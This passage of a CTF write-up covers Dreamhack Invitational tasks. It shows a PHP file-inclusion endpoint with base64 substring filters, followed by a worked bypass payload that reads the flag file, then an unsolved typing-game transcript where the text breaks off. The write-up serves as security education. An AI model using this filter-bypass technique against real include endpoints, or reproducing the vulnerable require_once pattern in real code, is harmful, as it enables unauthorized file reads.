The format was quite unusual compared to other CTFs: it lasted only 24 hours and featured 12 tasks that had to solved in solo. It is challenging both to organize and to participate in such CTFs — you must be confident that you can solve each task within a reasonable time frame; even a delay of a few hours could be critical. However, the Dreamhack Invitational challenges were very well designed. Here is my writeup for them.

Base64 Based

100 points, 167 solves

The challenge requires us to pass file = base64("flag.php"), but there is filtering in place that prevents us from obtaining the flag.

if (isset($_GET['file'])) {
    $encodedFileName = $_GET['file'];
    if (stripos($encodedFileName, "Li4v") !== false){
        echo "<p class='error'>Error: Not allowed ../.</p>";
        exit(0);
    }
    if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
        echo "<p class='error'>Error: Not allowed flag.</p>";
        exit(0);
    }
    $decodedFileName = base64_decode($encodedFileName);

    $filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;

    if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
        echo "<p>Including file: <strong>$decodedFileName</strong></p>";
        echo "<div>";
        require_once($decodedFileName);
        echo "</div>";
    } else {
        echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
    }
} else {
    echo "<p class='error'>No file parameter provided.</p>";
}

The filter disallows the substrings “../”, “fla” and “hp”. However, if we look at base64 encoding, any substring can have three possible variants because base64 maps 3 bytes → 4 characters:

>>> base64.b64encode(b"hello") 
b'aGVsbG8='
>>> base64.b64encode(b"_hello") 
b'X2hlbGxv'
>>> base64.b64encode(b"__hello") 
b'X19oZWxsbw=='
>>> base64.b64encode(b"___hello") 
b'X19faGVsbG8='  # "hello" encodes to the same aGVsbG8= as in first example

Thus, we can simply encode “./flag.php” instead of “flag.php” to bypass the filters:

>>> base64.b64encode(b"./flag.php") 
b'Li9mbGFnLnBocA=='  # does not contain "Li4v", "ZmxhZ" or "aHA="

This was the only simple task for beginners; the next tasks are much more challenging.


Typing Game Goes Hard

210 points, 57 solves

The task asks us to retype words, and we are given plenty of time (90 seconds):

Type the following words within 90 seconds.
----------------------------------------------
-                 EASY MODE                  -
----------------------------------------------
Type this word as soon as possible: torulosis
> torulosis
Type this word as soon as possible: contributional
> contributional
Type this word as soon as possible: keratoncus
> keratoncus
Type this word as soon as possible: pearler
> pearler
Type this word as soon as possible: gainfully
> gainfully
Type this word as soon as possible: dispensability
> dispensability
Type this word as soon as possible: Usheen
> Usheen
Type this word as soon as possible: nonroutine
> nonroutine
Type this word as soon as possible: Aleppo
> Aleppo
Type this word as soon as possible: blepharadenitis
> blepharadenitis